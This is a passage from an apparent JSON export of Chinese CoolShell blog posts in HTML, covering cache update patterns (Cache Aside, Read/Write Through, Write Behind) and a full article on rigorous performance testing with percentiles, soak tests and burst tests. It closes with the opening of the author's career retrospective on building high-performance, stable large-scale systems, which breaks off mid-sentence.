width=\"600\"/></p>\n<p>注意，我们的更新是先更新数据库，成功后，让缓存失效。那么，这种方式是否可以没有文章前面提到过的那个问题呢？我们可以脑补一下。</p>\n<p>一个是查询操作，一个是更新操作的并发，首先，没有了删除cache数据的操作了，而是先更新了数据库中的数据，此时，缓存依然有效，所以，并发的查询操作拿的是没有更新的数据，但是，更新操作马上让缓存的失效了，后续的查询操作再把数据从数据库中拉出来。而不会像文章开头的那个逻辑产生的问题，后续的查询操作一直都在取老的数据。</p>\n<p>这是标准的design pattern，包括Facebook的论文《<a href=\"https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final170_update.pdf\" target=\"_blank\">Scaling Memcache at Facebook</a>》也使用了这个策略。为什么不是写完数据库后更新缓存？你可以看一下Quora上的这个问答《<a href=\"https://www.quora.com/Why-does-Facebook-use-delete-to-remove-the-key-value-pair-in-Memcached-instead-of-updating-the-Memcached-during-write-request-to-the-backend\">Why does Facebook use delete to remove the key-value pair in Memcached instead of updating the Memcached during write request to the backend?</a>》，主要是怕两个并发的写操作导致脏数据。</p>\n<p>那么，是不是Cache Aside这个就不会有并发问题了？不是的，比如，一个是读操作，但是没有命中缓存，然后就到数据库中取数据，此时来了一个写操作，写完数据库后，让缓存失效，然后，之前的那个读操作再把老的数据放进去，所以，会造成脏数据。</p>\n<p>但，这个case理论上会出现，不过，实际上出现的概率可能非常低，因为这个条件需要发生在读缓存时缓存失效，而且并发着有一个写操作。而实际上数据库的写操作会比读操作慢得多，而且还要锁表，而读操作必需在写操作前进入数据库操作，而又要晚于写操作更新缓存，所有的这些条件都具备的概率基本并不大。</p>\n<p><strong>所以，这也就是Quora上的那个答案里说的，要么通过2PC或是Paxos协议保证一致性，要么就是拼命的降低并发时脏数据的概率，而Facebook使用了这个降低概率的玩法，因为2PC太慢，而Paxos太复杂。当然，最好还是为缓存设置上过期时间。</strong></p>\n<h4>Read/Write Through Pattern</h4>\n<p>我们可以看到，在上面的Cache Aside套路中，我们的应用代码需要维护两个数据存储，一个是缓存（Cache），一个是数据库（Repository）。所以，应用程序比较啰嗦。而Read/Write Through套路是把更新数据库（Repository）的操作由缓存自己代理了，所以，对于应用层来说，就简单很多了。<strong>可以理解为，应用认为后端就是一个单一的存储，而存储自己维护自己的Cache。</strong></p>\n<h5>Read Through</h5>\n<p>Read Through 套路就是在查询操作中更新缓存，也就是说，当缓存失效的时候（过期或LRU换出），Cache Aside是由调用方负责把数据加载入缓存，而Read Through则用缓存服务自己来加载，从而对应用方是透明的。</p>\n<h5>Write Through</h5>\n<p>Write Through 套路和Read Through相仿，不过是在更新数据时发生。当有数据更新的时候，如果没有命中缓存，直接更新数据库，然后返回。如果命中了缓存，则更新缓存，然后再由Cache自己更新数据库（这是一个同步操作）</p>\n<p>下图自来Wikipedia的<a href=\"https://en.wikipedia.org/wiki/Cache_(computing)\">Cache词条</a>。其中的Memory你可以理解为就是我们例子里的数据库。</p>\n<p><img alt=\"Write-through_with_no-write-allocation\" class=\"aligncenter size-full wp-image-17417\" height=\"620\" src=\"../wp-content/uploads/2016/07/460px-Write-through_with_no-write-allocation.svg_.png\" width=\"460\"/></p>\n<h4>Write Behind Caching Pattern</h4>\n<p>Write Behind 又叫 Write Back。<strong>一些了解Linux操作系统内核的同学对write back应该非常熟悉，这不就是Linux文件系统的Page Cache的算法吗？是的，你看基础这玩意全都是相通的。</strong>所以，基础很重要，我已经不是一次说过基础很重要这事了。</p>\n<p>Write Back套路，一句说就是，在更新数据的时候，只更新缓存，不更新数据库，而我们的缓存会异步地批量更新数据库。这个设计的好处就是让数据的I/O操作飞快无比（因为直接操作内存嘛 ），因为异步，write backg还可以合并对同一个数据的多次操作，所以性能的提高是相当可观的。</p>\n<p>但是，其带来的问题是，数据不是强一致性的，而且可能会丢失（我们知道Unix/Linux非正常关机会导致数据丢失，就是因为这个事）。在软件设计上，我们基本上不可能做出一个没有缺陷的设计，就像算法设计中的时间换空间，空间换时间一个道理，有时候，强一致性和高性能，高可用和高性性是有冲突的。软件设计从来都是取舍Trade-Off。</p>\n<p>另外，Write Back实现逻辑比较复杂，因为他需要track有哪数据是被更新了的，需要刷到持久层上。操作系统的write back会在仅当这个cache需要失效的时候，才会被真正持久起来，比如，内存不够了，或是进程退出了等情况，这又叫lazy write。</p>\n<p>在wikipedia上有一张write back的流程图，基本逻辑如下：</p>\n<p><img alt=\"Write-back_with_write-allocation\" class=\"aligncenter size-full wp-image-17428\" height=\"820\" src=\"../wp-content/uploads/2016/07/Write-back_with_write-allocation.png\" width=\"640\"/></p>\n<p> </p>\n<h4>再多唠叨一些</h4>\n<p>1）上面讲的这些Design Pattern，其实并不是软件架构里的mysql数据库和memcache/redis的更新策略，这些东西都是计算机体系结构里的设计，比如CPU的缓存，硬盘文件系统中的缓存，硬盘上的缓存，数据库中的缓存。<strong>基本上来说，这些缓存更新的设计模式都是非常老古董的，而且历经长时间考验的策略</strong>，所以这也就是，工程学上所谓的Best Practice，遵从就好了。</p>\n<p>2）有时候，我们觉得能做宏观的系统架构的人一定是很有经验的，其实，宏观系统架构中的很多设计都来源于这些微观的东西。比如，云计算中的很多虚拟化技术的原理，和传统的虚拟内存不是很像么？Unix下的那些I/O模型，也放大到了架构里的同步异步的模型，还有Unix发明的管道不就是数据流式计算架构吗？TCP的好些设计也用在不同系统间的通讯中，仔细看看这些微观层面，你会发现有很多设计都非常精妙……所以，<strong>请允许我在这里放句观点鲜明的话——如果你要做好架构，首先你得把计算机体系结构以及很多老古董的基础技术吃透了</strong>。</p>\n<p>3）在软件开发或设计中，我非常建议在之前先去参考一下已有的设计和思路，<strong>看看相应的guideline，best practice或design pattern，吃透了已有的这些东西，再决定是否要重新发明轮子</strong>。千万不要似是而非地，想当然的做软件设计。</p>\n<p>4）上面，我们没有考虑缓存（Cache）和持久层（Repository）的整体事务的问题。比如，更新Cache成功，更新数据库失败了怎么吗？或是反过来。关于这个事，如果你需要强一致性，你需要使用“两阶段提交协议”——prepare, commit/rollback，比如Java 7 的<a href=\"http://docs.oracle.com/javaee/7/api/javax/transaction/xa/XAResource.html\" target=\"_blank\">XAResource</a>，还有MySQL 5.7的 <a href=\"http://dev.mysql.com/doc/refman/5.7/en/xa.html\" target=\"_blank\">XA Transaction</a>，有些cache也支持XA，比如<a href=\"http://www.ehcache.org/documentation/3.0/xa.html\" target=\"_blank\">EhCache</a>。当然，XA这样的强一致性的玩法会导致性能下降，关于分布式的事务的相关话题，你可以看看《<a href=\"https://coolshell.cn/articles/10910.html\" target=\"_blank\">分布式系统的事务处理</a>》一文。</p>\n<p>（全文完）</p>\n<p> </p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8961.html\"><img alt=\"从面向对象的设计模式看软件设计\" height=\"150\" src=\"../wp-content/uploads/2013/01/kiss-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7236.html\"><img alt=\"用Unix的设计思想来应对多变的需求\" height=\"150\" src=\"../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6950.html\"><img alt=\"需求变化与IoC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6950.html\">需求变化与IoC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2016-7-5 性能测试应该怎么做？.html",
    "content": "<html><body><p><img alt=\"PerfTest\" class=\"alignright size-full wp-image-17383\" height=\"277\" src=\"../wp-content/uploads/2016/07/PerfTest.png\" width=\"300\"/>偶然间看到了阿里中间件<a href=\"http://dubbo.io/User+Guide-zh.htm#UserGuide-zh-%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95%E6%8A%A5%E5%91%8A\" target=\"_blank\">Dubbo的性能测试报告</a>，我觉得这份性能测试报告让人觉得做这性能测试的人根本不懂性能测试，我觉得这份报告会把大众带沟里去，所以，想写下这篇文章，做一点科普。</p>\n<p>首先，这份测试报告里的主要问题如下：</p>\n<p><strong>1）用的全是平均值</strong>。老实说，平均值是非常不靠谱的。</p>\n<p><strong>2）响应时间没有和吞吐量TPS/QPS挂钩</strong>。而只是测试了低速率的情况，这是完全错误的。</p>\n<p><strong>3）响应时间和吞吐量没有和成功率挂钩。</strong></p>\n<p><span id=\"more-17381\"></span></p>\n<h4>为什么平均值不靠谱</h4>\n<p>关于平均值为什么不靠谱，我相信大家读新闻的时候经常可以看到，<strong>平均工资</strong>，<strong>平均房价</strong>，<strong>平均支出</strong>，等等这样的字眼，<span class=\"show_c\" id=\"zoom\">你就知道为什么平均值不靠谱了。（这些都是数学游戏，对于理工科的同学来说，天生应该有免疫力）</span></p>\n<p>软件的性能测试也一样，平均数也是不靠谱的，这里可以参看这篇详细的文章《<a href=\"http://apmblog.dynatrace.com/2012/11/14/why-averages-suck-and-percentiles-are-great/\" target=\"_blank\">Why Averages Suck and Percentiles are Great</a>》，我在这里简单说一下。</p>\n<p>我们知道，性能测试时，测试得到的结果数据不总是一样的，而是有高有低的，如果算平均值就会出现这样的情况，假如，测试了10次，有9次是1ms，而有1次是1s，那么平均数据就是100ms，很明显，这完全不能反应性能测试的情况，也许那1s的请求就是一个不正常的值，是个噪点，应该去掉。所以，我们会在一些评委打分中看到要去掉一个最高分一个最低分，然后再算平均值。</p>\n<p>另外，中位数（Mean）可能会比平均数要稍微靠谱一些，所谓中位数的意就是把将一组数据按大小顺序排列，处在最中间位置的一个数叫做这组数据的中位数 ，这意味着至少有50%的数据低于或高于这个中位数。</p>\n<p>当然，最为正确的统计做法是用百分比分布统计。也就是英文中的TP – Top Percentile ，TP50的意思在，50%的请求都小于某个值，TP90表示90%的请求小于某个时间。</p>\n<p>比如：我们有一组数据：[ 10ms,  1s, 200ms, 100ms]，我们把其从小到大排个序：[10ms, 100ms, 200ms, 1s]，于是我们知道，TP50，就是50%的请求ceil(4*0.5)=2时间是小于100ms的，TP90就是90%的请求ceil(4*0.9)=4时间小于1s。于是：TP50就是100ms，TP90就是1s。</p>\n<p>我以前在路透做的金融系统响应时间的性能测试的要求是这样的，<strong>99.9%的请求必须小于1ms，所有的平均时间必须小于1ms。两个条件的限制。</strong></p>\n<h4>为什么响应时间（latency）要和吞吐量（Thoughput）挂钩</h4>\n<p>系统的性能如果只看吞吐量，不看响应时间是没有意义的。我的系统可以顶10万请求，但是响应时间已经到了5秒钟，这样的系统已经不可用了，这样的吞吐量也是没有意义的。</p>\n<p>我们知道，当并发量（吞吐量）上涨的时候，系统会变得越来越不稳定，响应时间的波动也会越来越大，响应时间也会变得越来越慢，而吞吐率也越来越上不去（如下图所示），包括CPU的使用率情况也会如此。所以，当系统变得不稳定的时候，吞吐量已经没有意义了。吞吐量有意义的时候仅当系统稳定的时候。</p>\n<p><img alt=\"BenchmarkOptimalRate\" class=\"aligncenter size-full wp-image-17382\" height=\"343\" src=\"../wp-content/uploads/2016/07/BenchmarkOptimalRate.png\" width=\"535\"/></p>\n<p>所以，<strong>吞吐量的值必需有响应时间来卡。</strong>比如：<strong>TP99小于100ms的时候，系统可以承载的最大并发数是1000qps</strong>。这意味着，我们要不断的在不同的并发数上测试，以找到软件的最稳定时的最大吞吐量。</p>\n<p> </p>\n<h4>为什么响应时间吞吐量和成功率要挂钩</h4>\n<p>我们这应该不难理解了，如果请求不成功的话，都还做毛的性能测试。比如，我说我的系统并发可以达到10万，但是失败率是</p>\n<p>40%，那么，这10万的并发完全就是一个笑话了。</p>\n<p>性能测试的失败率的容忍应该是非常低的。对于一些关键系统，成功请求数必须在100%，一点都不能含糊。</p>\n<p> </p>\n<h4>如何严谨地做性能测试</h4>\n<p>一般来说，性能测试要统一考虑这么几个因素：<strong>Thoughput吞吐量</strong>，<strong>Latency响应时间</strong>，<strong>资源利用</strong>（CPU/MEM/IO/Bandwidth…），<strong>成功率</strong>，<strong>系统稳定性</strong>。</p>\n<p>下面的这些性能测试的方式基本上来源自我的老老东家汤森路透，一家做real-time的金融数据系统的公司。</p>\n<p style=\"padding-left: 30px;\"><strong>一，你得定义一个系统的响应时间latency，建议是TP99，以及成功率</strong>。比如路透的定义：99.9%的响应时间必需在1ms之内，平均响应时间在1ms以内，100%的请求成功。</p>\n<p style=\"padding-left: 30px;\"><strong>二，在这个响应时间的限制下，找到最高的吞吐量</strong>。测试用的数据，需要有大中小各种尺寸的数据，并可以混合。最好使用生产线上的测试数据。</p>\n<p style=\"padding-left: 30px;\"><strong>三，在这个吞吐量做Soak Test，比如：使用第二步测试得到的吞吐量连续7天的不间断的压测系统。</strong>然后收集CPU，内存，硬盘/网络IO，等指标，查看系统是否稳定，比如，CPU是平稳的，内存使用也是平稳的。那么，这个值就是系统的性能</p>\n<p style=\"padding-left: 30px;\"><strong>四，找到系统的极限值。比如：在成功率100%的情况下（不考虑响应时间的长短），系统能坚持10分钟的吞吐量。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>五，做Burst Test。用第二步得到的吞吐量执行5分钟，然后在第四步得到的极限值执行1分钟，再回到第二步的吞吐量执行5钟，再到第四步的权限值执行1分钟，如此往复个一段时间，比如2天。</strong>收集系统数据：CPU、内存、硬盘/网络IO等，观察他们的曲线，以及相应的响应时间，确保系统是稳定的。</p>\n<p style=\"padding-left: 30px;\"><strong>六、低吞吐量和网络小包的测试。</strong>有时候，在低吞吐量的时候，可能会导致latency上升，比如TCP_NODELAY的参数没有开启会导致latency上升（详见<a href=\"https://coolshell.cn/articles/11564.html\" target=\"_blank\">TCP的那些事</a>），而网络小包会导致带宽用不满也会导致性能上不去，所以，性能测试还需要根据实际情况有选择的测试一下这两咱场景。</p>\n<p>（注：在路透，路透会用第二步得到的吞吐量乘以66.7%来做为系统的软报警线，80%做为系统的硬报警线，而极限值仅仅用来扛突发的peak）</p>\n<p><strong>是不是很繁锁？是的，只因为，这是工程，工程是一门科学，科学是严谨的。</strong></p>\n<p>欢迎大家也分享一下你们性能测试的经验和方法。</p>\n<p>（全文完）</p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10910.html\"><img alt=\"分布式系统的事务处理\" height=\"150\" src=\"../wp-content/uploads/2014/01/trade-off-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10910.html\">分布式系统的事务处理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9169.html\"><img alt=\"并发框架Disruptor译文\" height=\"150\" src=\"../wp-content/uploads/2013/02/Disruptor-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9169.html\">并发框架Disruptor译文</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2016-8-18 这多年来我一直在钻研的技术.html",
    "content": "<html><body><p><img alt=\"Architecture Internships Abroad\" class=\"alignright wp-image-17450 size-medium\" height=\"215\" src=\"../wp-content/uploads/2016/08/Architecture-Internships-Abroad-300x215.jpg\" width=\"300\"/>因为我是看到tinyfool 《<a href=\"http://weibo.com/ttarticle/p/show?id=2309404009795043653572\" target=\"_blank\">那些年我赶过的时髦技术趋势</a>》，在赞叹的时候，也让我对我有好些回忆，所以想写一篇回忆贴，本来觉得回忆是件挺让人沮喪的事，因为是老了的表现，但我写着写着，就歪了楼。看来，我还不老，还在拼博。下面是很多我的唠叨，你喜欢就读读，不喜欢就TLDR – Too Long, Don’t Read!</p>\n<p>自从98年毕业，到今天，参加工作有18个年头了，加上在大三的时候就为两个在外面接活的老师程序，到今天，写的程序被用到生产线也有18个年头了。</p>\n<h4>背景经历</h4>\n<p>要说明我技术上的“性取向”，还得我说说的我的一些背景和经历。</p>\n<p>我这18年，大约分三个阶段：</p>\n<ul>\n<li><b>1996年-2000年</b>：<b>入门乱来期</b>，大三大四加在银行工作的两年。\n<ul>\n<li><span class=\"font\" style=\"color: #333333;\"><span class=\"font\" style=\"color: #333333;\">用Powerbuilder/Delphi在WindowsNT/SQL Server上做了好多个MIS管理软件，有酒店的，有送水的，有OA的。</span></span></li>\n<li><span class=\"font\" style=\"color: #333333;\"><span class=\"font\" style=\"color: #333333;\"> 用Java的Applet做了一个Web的教学课件，用于在Win95/IE3.0中演示操作系统中的各种调度和算法的动画，得了个全国大学生挑战者杯的鼓励奖。</span></span></li>\n<li><span class=\"font\" style=\"color: #333333;\"> 用Delphi的ISAPI技术以及PHP/ASP给一些公司和大学做过几个网站。</span></li>\n</ul>\n</li>\n</ul>\n<p><span id=\"more-17446\"></span></p>\n<ul>\n<li><b>2000年-2010年</b>：<b>技术学习期</b>，这十年，我主要的编程语言是C/C++。\n<ul>\n<li>前两年在银行用C语言在Unix（AIX/Solaris/Sco Unix/HP-UX..）写各种银行业务（用C语言写），用C写操作SQL，操作界面，写业务交易逻辑，一切都用C……，这是一个C语言的年代，<strong>当时，全国的银行都在做大集中，银行是当时行业里最大的软件系统了，所以，我确定了C/C++/Unix的技术方向</strong>，我当时的网上签名是，<em>C/C++/Unix才是大规模杀伤性武器</em>。</li>\n<li>然后，2002年在Platform做一个全平台的（包括Unix/Linux/Windows）高性能计算的软件产品，很像今天的Hadoop，当时叫Grid Computing，主要用低廉的x86集群进行大规模的并行计算，主要用于芯片设计行业，如：ARM和德州仪器，或是科研，如NASA，或是国家安全，如美国国防部的影像分析，或是3D动画渲染，如怪物史瑞克……从05年以后，发现很多用户开始从Unix迁移到Linux，于是开始更为关注Linux的Kernel知识。<strong>Platform有一套很严谨的软件工程体系，我对严谨的软件工程以及很多的基础的技术的认识在这里形成</strong>。</li>\n<li>2007年在路透做路透全球金融数据Real-Time网络的高性能调优（我在《<a href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a>》一文中透露过这个公司的性能要求，是一个实时的数据网络，对于99.9%的网络传输在100K的tps下要低于1ms，技术挑战是很大的），在路透，我只干一个事，就是性能优化，我把我负责的几个系统的性能都提升了8倍到15倍的样子，09年年底的时候，我已把未来3年的优化的活都干完了。所以，这个时期，我也开始了我的经理生涯。<strong>我对性能调优，高可用系统架构，研发管理的很多是在这里形成的。</strong></li>\n</ul>\n</li>\n<li><b>2010年到今天</b>，<b>技术沉淀期</b>，这个时间段，主要的编程语言是Java。\n<ul>\n<li>这段时间，我加入了Amazon和Alibaba，也就是所谓的互联网公司。在Amazon干了两个事，一个是把Amazon全球的marketplace连起来，跨大洲的数据中心的通信，还有一个是第一次接触大数据和机器学习——用户需求预测系统。在Alibaba干过电商云平台聚石塔和阿里云，去阿里最主要的是经历双十一。</li>\n<li>这段时间，对我影响比较大的是Amazon，技术不再是我的瓶颈，大规模的系统，对我也不是问题，而让我收获最大的是，<strong>世界前沿的软件设计架构和解决方案，以及做技术的态度和工程的方法，我的眼界、脑洞和视野都巨大的打开，并且在技术管理、工程管理、产品管理、人员管理、公司管理等等管理方面的思维有了质的提升</strong>。这段时间，才是我真正技术沉淀的时期。</li>\n</ul>\n</li>\n</ul>\n<p>我的这个背景本来可以更好一些，只可惜运气不太好，本来可以走的更快的，无奈在最关键的时候遇到了两次金融危机，本来可以去硅谷更牛更好的公司见世面，无奈父母身体欠安，只能放弃。</p>\n<h4>经历决定思维方式</h4>\n<p>通过我的背景经历，大家不难看到，我基本上都是做一些规模比较大的系统和软件，而且，主要用C/C++/Unix/Linux这样比较晦涩的语言和操作系统。我们知道用C和C++开发，基本上要处理的错误都是和系统底层相应的东西，而上规模的系统和软件，又总是会遇到很多“稀奇古怪”的问题，这些问题，都会逼着我要去了解很多的操作系统、计算机系统、网络、数据库、中间件等等的各种基础或底层技术。</p>\n<p>而且我经历的基本上都是非常严谨的软件工程，不能马虎，我有几次马虎的经历，给我造成了非常大的心理影响，比如，曾经被定性为不适合写代码，因为我的代码太烂，或是出了严重的故障，几乎要跑路去了。另外，全球gloabl式的oncall，经常让我在凌晨被电话叫起来解决问题，这个经历比较痛苦。所以，<strong>我的整个经历，让我养成了，在软件开发上必需也不得不严谨的习惯和价值观体系</strong>。</p>\n<p><strong>大家想想，用C/C++开发一个几乎不能出故障的软件系统，你需要多仔细和多严谨的态度才能达到要求？</strong>因此，我的经历让我不能马虎，也不能应付工作，更不能在标准上有所妥协，还需要不断地提高标准，所以，时间一长，我必然，会有如下的习惯：</p>\n<ul>\n<li><strong>要做到——知其然，知其所以然</strong>。所以，只能不断的学习基础知识以及和这个技术关联的知识，就像Wikipeida一样，当你进入一个词条的时候，就会伴随时一堆新词条，于是，当多年后，我看到 “<strong><a href=\"https://coolshell.cn/articles/4235.html\" target=\"_blank\">知识广度是深度的副产品</a></strong>”这句话时，简直就是说到我的心里去了。</li>\n</ul>\n<ul>\n<li><strong>要做出工业级的软件</strong>。从银行到Platform到Thomson Reuters再到Amazon，软件开发上都会有SLA的要求。我认为，一个软件是工业级还是民用级的，除了功能正确之外，最重要的一个指标之一就是在性能和稳定性上有没有SLA。绝大多数的互联网公司和开源软件都没有SLA。所以，达不到工业级的标准。<strong>要达到工业级的标准，就需要花费时间、人力和财力进行非常繁琐的设计、测试评估以及运维管理</strong>。</li>\n</ul>\n<ul>\n<li><strong>工业级的软件来自工业级专业人员和专业软件工程</strong>。\n<ul>\n<li><strong>专业的人员</strong>。为什么绝大多数的外国公司需要的是CS（Computer Science）背景毕业的工程师？因为他们要做的是工业级的软件，这是一门科学，即然是科学，就需要受过良好的科学教育的CS专业的人。</li>\n<li><strong>专业的工程</strong>。工业级的软件需要有工业级的软件工程，比如，严谨的Design/Code Review，严格的测试，以及完备的线上运维。</li>\n<li><strong>专业的工具</strong>。这个时候，你就会发现，要做到高级别的SLA，比如包括5个9以上的SLA，人肉干活的能力已经完全跟不上了，你需要大量的专业的与之配套工具。<strong>人类之所以聪明是因为会发明工具，所以，这也是工业级的另一个标准——你有多少现代化的支撑工具？</strong></li>\n</ul>\n</li>\n</ul>\n<p>在之前的《<a href=\"https://coolshell.cn/articles/11656.html\" target=\"_blank\">开发团队的效率</a>》一文中，我说过——<strong>你总需要在一个环节上认真，这个环节越往前就越有效率，越往后你就越没效率</strong>。要么你设计和编码认真点，不然，你就得在测试上认真点。要是你设计、编码、测试都不认真，那你就得在运维上认真，就得在处理故障上认真。你总需要在一个地方认真。</p>\n<p>认真是痛苦和艰难的，也是需要苦苦坚持的，因为人太容易妥协了，这对每个人来说都是一种不小的挑战。老实说，<strong>我与很多人对“认真”的标准不一样，所以，产生了很多分歧，很多人说我太理想了。其实，我能理解他们，一方面是因为我的标准是比较高了，另一方面是他们只做过民用级的软件。</strong></p>\n<p>另外，在一开始，做惯了工业级软件的我极度地不适应于那些糙快猛的开发方式。不过，我也在调整自己，毕竟，世界不只一种价值观，有的是工业级的软件，有的则是民用级的，还有的只是个玩具，而且还有Java这门语言非常有效地屏蔽了很多底层和基础知识，所以，也不可一概而论，我也在适应一些民用级的软件开发的方式。</p>\n<h4>后记</h4>\n<p>从去年我从阿里离开到现在14个月了，这段时间内，我给大约40多家公司做过相应的技术咨询和解决过很多技术问题，绝大多数公司都是因为性能和稳定性的问题来找我的，我给这些公司解决问题的时候，基本都是这样的Pattern：</p>\n<ul>\n<li>一开始，发现都是一些技术知识点的问题，</li>\n<li>然后，马上进入到系统架构方面方面的问题，</li>\n<li>当再解决架构问题的时候，我发现，已经是软件工程的问题，</li>\n<li>而软件工程问题的后面，又是公司管理上的问题</li>\n<li>而公司管理的问题，结果又到了人的问题上</li>\n<li>而人的问题，又到了公司文化的问题……</li>\n</ul>\n<p>你看，很多问题，一环扣一环，最终都不是一个简单的技术问题。我倒不是说，我在抱怨这些问题，我更不是在说能解决这些问题，因为，就像软件工程没有银弹一样，无论你给什么样的解决方案都会有问题，没有问题才是不科学的。我能做的是，观察这个公司的业务形态、和相关的思维方式，以及现有的资源和相应的技术实力，帮助他们从技术到管理上缓解或改善现有的问题。</p>\n<p>所以，我基本上来说，这近20年来，<strong>我只在专心研究一个事——如何做出一个性能高稳定性好的大规模的系统。</strong>在这个方向中，除了很多的基础和底层技术我需要吃透，我还需要在软件的开发工艺，软件工具，以及软件的线上运维，以及相关的管理上不断学习和思考，<strong>因为，只有技术、工具、工程、运维、人员这几个方面搞好了，才可能出现一个性能高且稳定性好的系统</strong>。</p>\n<p>之前对于我来说，我一直在鼓吹先进的管理和软件工程以及技术和工具。今天，对我来说，遇到最大的问题就是，在没有这些所谓的先进的东西的时候，除了我自己上手外，我是否还能解决相应的问题？因为我自己已经完全Scale不开了。</p>\n<p>有问题就有挑战，我每天都在思考，如何在不完美甚至残缺的环境下，解决这些公司的技术问题。每个人都要给自己一个目标。目前，我给自己的目标是——<strong>在残缺的环境下，能让用户不改一行代码，不动任何的架构，不改变用户很糟糕的软件开发的习惯，也不让用户作任何管理上的调整，能提升用户的软件系统的性能和稳定性</strong>。</p>\n<p>因为我相信技术，我相信有更好的技术，